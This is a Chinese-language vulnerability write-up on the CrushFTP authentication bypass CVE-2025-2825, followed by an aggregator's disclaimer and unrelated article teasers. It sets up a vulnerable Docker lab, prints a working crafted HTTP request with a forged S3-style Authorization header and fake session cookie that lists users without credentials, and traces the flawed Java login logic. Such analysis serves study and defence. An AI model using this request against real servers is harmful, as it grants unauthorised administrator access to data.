网络安全之身份验证绕过漏洞

漏洞简介

CrushFTP 是一款由 CrushFTP LLC 开发的强大文件传输服务器软件,支持FTP、SFTP、HTTP、WebDAV等多种协议,为企业和个人用户提供安全文件传输服务。近期,一个被编号为CVE-2025-2825的严重安全漏洞被发现,该漏洞影响版本10.0.0到10.8.3以及11.0.0到11.3.0。这个身份验证绕过漏洞源于系统对认证标头的不当处理,允许未经授权的远程攻击者通过暴露的HTTP/HTTPS端口获取管理员权限,进而可能访问敏感数据、修改系统文件或完全控制服务器。

漏洞复现

搭建环境还是利用docker 来进行搭建比较简单方便

sudo docker pull crushftp/crushftp11:11.3.0_0
sudo docker run --privileged -p 8080:8080 -p 9090:9090 -p 8443:443 crushftp/crushftp11:11.3.0_0

构造数据包

GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=aaaa HTTP/1.1
Host: 192.168.220.129:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://192.168.220.129:8080
Referer: http://192.168.220.129:8080/WebInterface/UserManager/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CrushAuth=1111111111111_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Connection: close

成功实现未授权操作,绕过身份验证查看到用户列表

漏洞分析

尝试进入docker 容器内部查看文件进行分析,但是提示这些错误

这是因为使用了极简容器镜像,不包含 shell 或者常见命令行工具,这类镜像通常只包含运行特定应用所需的最小组件,没有shell 环境,因此无法像普通容器那样交互式使用。搜索出来多种解决办法我认为以下两种方法是比较靠谱的

  • 导出容器为tar文件 docker export 5f > container5f.tar
  • 复制容器根目录到宿主机目录下 docker cp 5f:/ ./container5f (我采用的这种方法)

CrushFTP.jar!/crushftp.server.ServerSessionHTTP#loginCheckHeaderAuth

一个标准的 S3 授权头格式是

Authorization: AWS4-HMAC-SHA256 Credential=AKIAIOSFODNN7EXAMPLE/20230101/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=fe5f80f77d5fa3beca038a248ff027d0445342fe2855ddc963176630326f1024

  • AWS4-HMAC-SHA256 - 表示使用的签名算法
  • Credential - 包含以下信息,由斜杠分隔:
    • 访问密钥 ID:AKIAIOSFODNN7EXAMPLE
    • 请求日期 (YYYYMMDD):20230101
    • AWS 区域:us-east-1
    • 服务名称:s3
    • 终止字符串:aws4request
  • SignedHeaders - 包含在签名计算中的请求头列表,用分号分隔
  • Signature - 请求的签名,是一个16进制编码的字符串

这段代码首先从授权头中提取用户标识,从 Credential 参数的等号后开始,到第一个斜杠停止,将提取出来的部分作为username ,接着判断用户名中是否包含波浪号(~),如果包含则 lookup_user_pass 设置为 false。之后调用 login_user_pass 继续处理。

CrushFTP.jar!/crushftp.handlers.SessionCrush#login_user_pass(boolean, boolean, String, String)

整个代码实在是太长,所以精简,只显示出关键部分。我们知道从 loginCheckHeaderAuth 传过来时

this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)

  • lookupuserpass == anyPass == true
  • false == doAfterLogin == false
  • username == username == username
  • lookupuserpass ? "" : userpass == userpass ==""
function login_user_pass(anyPass, doAfterLogin, user_name, user_pass):// 初始化变量boolean verified = falseboolean otp_valid = false// 准备验证密码String verify_password = user_pass// 验证用户凭据verified = verify_user(user_name, verify_password, anyPass, doAfterLogin)// 处理OTP验证逻辑(部分省略)if (verified && this.user != null && this.user.getProperty("otp_auth").equals("true")):// OTP验证逻辑...// 如果验证成功,设置otp_valid = true// 最终登录判断if (verified && (this.user == null || !this.user.getProperty("otp_auth").equals("true")) || verified && otp_valid):// 用户登录成功this.uiPUT("user_logged_in", "true")return trueelse:// 登录失败return false

关键处理部分是 verified = verify_user(user_name, verify_password, anyPass, doAfterLogin) 将传入的参数进行处理,其结果对判断用户是否登录起了至关重要的作用。

跟进verify_user 处理部分

CrushFTP.jar!/crushftp.handlers.SessionCrush#verify_user(String, String, boolean, boolean)

‘CrushFTP.jar!/crushftp.handlers.SessionCrush#verify_user 只是一个中间处理:检查系统是否允许登录、处理特殊格式的用户名、检查密码是否有特殊标记等等,最终调用UserTools.ut.verify_user执行实际的验证工作

this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser, thePass, this.uiSG("listen_ip_port"), this, this.uiIG("user_number"), this.uiSG("user_ip"), this.uiIG("user_port"), this.server_item, loginReason, anyPass);

通过UserTools#verify_user 来对用户进行最终的判断

crushftp.handlers.UserTools#verify_user(crushftp.server.ServerStatus, String, String, String, crushftp.handlers.SessionCrush, int, String, int, Properties, Properties, boolean)

可以看到 当最后一个参数 anyPass 为 true 时,仅仅判断用户是否存在,并没有验证密码

为防止CSRF攻击,所以需要 CrushAuth cookie 和 c2f 参数

CrushFTP.jar!/crushftp.server.ServerSessionHTTP#createCookieSession

CrushFTP.jar!/crushftp.handlers.Common#makeBoundarySimple(int)

CrushAuth cookie 是按照指定格式创建的,前13个字符为时间戳 (new Date()).getTime()) 拼接下划线(_) 拼接30个字符的随机字符串(Common.makeBoundary(30))

CrushFTP.jar!/crushftp.server.ServerSessionHTTP#parsePostArguments

if (ServerStatus.BG("csrf") && ("," + ServerStatus.SG("whitelist_web_commands") + ",").indexOf("," + globalItems.getProperty("command") + ",") < 0 && this.thisSession.user_info.getProperty("authorization_header", "false").equals("false") && !globalItems.getProperty("c2f", "").equals(data_item.substring(data_item.length() - 4)) && !globalItems.getProperty("c2f", "").equals(ServerStatus.thisObj.common_code.decode_pass(this.thisSession.user.getProperty("password")))) {this.thisSession.uiVG("failed_commands").addElement("" + (new Date()).getTime());if (lastUploadName != null && activeUpload != null) {activeUpload.put(lastUploadName, LOC.G("ERROR") + ": FAILURE:Access Denied. (c2f)");}throw new Exception("FAILURE:Access Denied. (c2f)");}

只有当 c2f 参数既不匹配 cookie 末尾4个字符,也不匹配解码后的用户密码时,会抛出异常

漏洞修复

修改了登录校验的方式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/84083.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Word2Vec模型学习和Word2Vec提取相似文本体验

文章目录 说明Word2Vec模型核心思想两种经典模型关键技术和算法流程优点和局限应用场景 Word2Vec提取相似文本完整源码执行结果 说明 本文适用于初学者&#xff0c;体验Pytorch框架在自然语言处理中的使用。简单了解学习Word2Vec模型&#xff0c;体验其使用。 Word2Vec模型 …

flutter 配置 安卓、Ios启动图

android 配置启动图 launch_background.xml <?xml version"1.0" encoding"utf-8"?> <!-- Modify this file to customize your launch splash screen --> <layer-list xmlns:android"http://schemas.android.com/apk/res/android&…

MCP(一)——QuickStart

目录 1. MCP简介2. MCP的优势3. MCP核心4. QuickStart For Server Developers(仅具参考)4.1 MCP核心概念4.2 构建MCP服务器的代码4.2.1 设置MCP服务器实例4.2.2 辅助函数4.2.3 实现工具执行4.2.4 在Cherry-Studio中添加MCP服务器4.2.5 演示4.2.5.1 测试工具get_alerts4.2.5.2 测…

Nginx网站功能

一.基于授权的访问控制 1.基于授权的访问控制简介 Nginx与Apahce 一样&#xff0c;可以实现基于用户授权的访问控制&#xff0c;当客户端想要访问相应网站或者目录时&#xff0c;要求用户输入用户名和密码才能正常访问&#xff0c;配置步骤与Apache基本一致。 2.基于授权的访…

海外盲盒系统开发:重构全球消费体验的科技引擎

当盲盒文化席卷全球&#xff0c;海外盲盒系统开发已成为重构消费体验的核心赛道。数据显示&#xff0c;2025年全球盲盒市场规模突破120亿&#xff0c;东南亚市场年增长率达4540。我们开发的海外盲盒系统&#xff0c;以技术创新为驱动&#xff0c;打造覆盖全链路的全球化解决方案…

数学建模初等模型应用

一、目的 掌握初等模型的建模方法,对简单的初等模型能借助Matlab工具软件进行辅助建模、求解和检验。 二、实验内容与设计思想&#xff08;设计思路、主要代码分析&#xff09; 1、预测鱼的质量 &#xff08;1&#xff09;设计思路&#xff1a;使用线性回归模型预测鱼的质量…

C 语言学习笔记(指针1)

内容提要 函数 变量的作用域变量的生命周期 指针 预备知识变量指针与指针变量 函数 变量的作用域 引入问题 我们在函数设计的过程中&#xff0c;经常要考虑对于参数的设计&#xff0c;换句话说&#xff0c;我们需要考虑函数需要几个参数&#xff0c;需要什么类型的参数&a…

【Linux】第二十二章 访问网络附加内存

1. NFS的主要功能是什么&#xff1f; NFS是由Linux、UNIX及类似操作系统使用的互联网标准协议&#xff0c;主要功能就是提供网络文件共享&#xff0c;允许不同的计算机系统之间通过网络共享文件&#xff0c;它使得网络上的计算机能够像访问本地文件系统一样访问远程计算机上的…

大模型时代,Python 近红外光谱与 Transformer 模型:学习的必要性探究

在当下大语言模型盛行的时代&#xff0c;各类新技术如潮水般不断涌现&#xff0c;让人应接不暇。身处这样的浪潮之中&#xff0c;不少人心中都会泛起疑问&#xff1a;Python 近红外光谱和 Transformer 模型还有学习的必要性吗&#xff1f;今天&#xff0c;就让我们深入探讨一番…

强化学习鱼书(7)——神经网络和Q学习

代码地址 书内附代码地址 https://github.com/oreilly-japan/deep-learning-from-scratch-4 环境搭建 0.建立虚拟环境 conda create -n env_test python3.10 conda activate env_test1.安装cuda 50系的显卡只支持torch的nightlycuda12.8版本&#xff0c;别的版本会显示no k…

数据建模与分析:从回归预测到特征聚类的全面探索(PyTorch)

文章目录 简介&#xff1a;数据建模简介回归分析回归分析简介回归分析建模判定系数估计标准差住房价格回归预测 聚类聚类简介聚类分析建模植物花卉特征聚类 主成分分析&#xff08;PCA&#xff09;主成分分析简介成分分析建模地区竞争力指标降维 简介&#xff1a; 在现代数据科…

uv 包管理工具使用教程

一、简介 uv 是一个基于 Rust 实现的超快 Python 包管理工具&#xff0c;旨在加速 Python 开发流程。它是 pip、pip-tools、virtualenv 和 venv 的现代替代品&#xff0c;支持更快的包解析、安装和虚拟环境创建。 主要特性包括&#xff1a; 极快的依赖解析与安装 自动创建和…

5分钟应急响应+99%达标率:AI智能监控重塑商业清洁新标准

一、方案整体架构 面对商业综合体日均10万客流量带来的管理挑战&#xff0c;传统保洁模式在人员监管、质量评估和应急响应方面存在显著瓶颈。本系统以全场景AI监控为核心&#xff0c;构建三级智能化管理体系&#xff1a; 1. 前端感知层&#xff1a;部署800万像素广角摄像…

裸金属服务器:解锁极致性能,拒绝虚拟化开销!

什么是裸金属服务器&#xff1f; 裸金属服务器&#xff08;Bare Metal Server&#xff09;是一种介于物理服务器和云服务器之间的新型计算服务形态。它既具备传统物理服务器的性能优势&#xff0c;又拥有云服务器的灵活性和便捷管理特性。与虚拟化云服务器不同&#xff0c;裸金…

[论文精读]Ward: Provable RAG Dataset Inference via LLM Watermarks

Ward: Provable RAG Dataset Inference via LLM Watermarks [2410.03537] Ward: Provable RAG Dataset Inference via LLM Watermarks ICLR 2025 Rebuttal&#xff1a;Ward: 可证明的 RAG 数据集推理通过 LLM 水印 | OpenReview --- Ward: Provable RAG Dataset Inference v…

【ffmpeg】ffprobe基本用法

ffprobe 是 FFmpeg 工具集中的一个强大命令行工具&#xff0c;主要用于分析多媒体文件&#xff08;如视频、音频等&#xff09;的格式和内容信息。它可以提取文件的元数据、编解码器信息、流详情、帧信息等&#xff0c;而无需对文件进行转码或修改。 基本用法 ffprobe [选项] …

有哪些GIF图片转换的开源工具

以下是关于GIF图片转换的开源工具的详细总结,涵盖功能特点、适用场景及用户评价: 1. FFmpeg 功能特点: 作为开源命令行工具,FFmpeg支持视频转GIF、调整帧率、分辨率、截取片段等操作,可通过脚本批量处理。适用场景: 适合开发者或技术用户进行高效批处理,常用于服务器端自…

js不同浏览器标签页、窗口或 iframe 之间可以相互通信

一、创建一个广播通道 // 创建一个名为 vue-apps-channel 的广播通道 const channel new BroadcastChannel(vue-apps-channel);二、发送消息 channel.postMessage({type: popup, message: false}); 三、接收消息&#xff08;也需要创建广播通道&#xff09; // 也创建一个…

【算法笔记day two】滑动窗口(不定长版)

前言 hello大家好&#xff0c;本期文章紧接着上期&#xff0c;讲述滑窗的下一个大分类——不定长。 定长滑窗请看我上期文章&#xff0c;有详细介绍。温馨提醒&#xff0c;代码大部分为手搓&#xff0c;答案方法不唯一。如果想要优雅的版本可以去找其他题解&#xff0c;我的…

Node.js Express 项目现代化打包部署全指南

Node.js Express 项目现代化打包部署全指南 一、项目准备阶段 1.1 依赖管理优化 # 生产依赖安装&#xff08;示例&#xff09; npm install express mongoose dotenv compression helmet# 开发依赖安装 npm install nodemon eslint types/node --save-dev1.2 环境变量配置 /…